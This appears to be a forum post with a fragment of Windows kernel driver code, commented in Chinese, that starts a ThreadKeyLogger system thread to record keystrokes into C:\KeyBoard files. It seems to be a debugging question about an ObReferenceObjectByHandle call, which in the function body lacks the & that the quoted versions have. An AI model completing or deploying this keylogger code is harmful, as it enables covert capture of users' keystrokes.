21,597
社区成员
发帖
与我相关
我的任务
分享
ObReferenceObjectByHandle(
hThread,
THREAD_ALL_ACCESS,
NULL,
KernelMode,
(PVOID*)&pDeviceExtension->pThreadObject,
NULL);
ObReferenceObjectByHandle(
hThread,
THREAD_ALL_ACCESS,
NULL,
KernelMode,
(PVOID*)&pDeviceExtension->pThreadObject,
NULL);
NTSTATUS InitThreadKeyLogger(IN PDEVICE_OBJECT theDriverObject, int nindex)
{
// IRQL = passive level
PC2P_DEV_EXT pDeviceExtension;
HANDLE hThread;
NTSTATUS status;
IO_STATUS_BLOCK file_status;
OBJECT_ATTRIBUTES obj_attrib;
CCHAR ntNameFile[100] ={0};//= "\\??\\C:\\KeyBoard.txt";//"\\DosDevices\\C:\\KeyBoard.txt";
STRING ntNameString;
UNICODE_STRING uFileName;
pDeviceExtension = (PC2P_DEV_EXT)theDriverObject->DeviceExtension;
DbgBreakPoint();//放在需要调试的地方
_snprintf(ntNameFile, 100, "\\??\\C:\\KeyBoard%d.txt", nindex);
//设置线程结束标志
pDeviceExtension->bThreadTerminate=FALSE;
//创建一个线程取记录键盘按键
status = PsCreateSystemThread(
&hThread,
(ACCESS_MASK)0,
NULL,
(HANDLE)0,
NULL,
ThreadKeyLogger,
pDeviceExtension);
if(!NT_SUCCESS(status))
return status;
//转换格式
RtlInitAnsiString(&ntNameString, ntNameFile);
RtlAnsiStringToUnicodeString(&uFileName,&ntNameString,TRUE);
InitializeObjectAttributes(&obj_attrib, &uFileName,
OBJ_CASE_INSENSITIVE,
NULL, NULL);
//创建记录文件
//status=ZwCreateFile(pDeviceExtension->hLogFile,
// GENERIC_WRITE | GENERIC_READ,
// &obj_attrib,
// &file_status,
// NULL,
// FILE_ATTRIBUTE_NORMAL|FILE_ATTRIBUTE_SYSTEM,//|FILE_ATTRIBUTE_HIDDEN,
// 0,
// FILE_OPEN_IF,
// FILE_SYNCHRONOUS_IO_NONALERT,
// NULL,
// 0);
// 保存线程对象
ObReferenceObjectByHandle(
hThread,
THREAD_ALL_ACCESS,
NULL,
KernelMode,
(PVOID*)pDeviceExtension->pThreadObject,
NULL);
// 关闭内核对象对句柄的引用
ZwClose(hThread);
return status;
}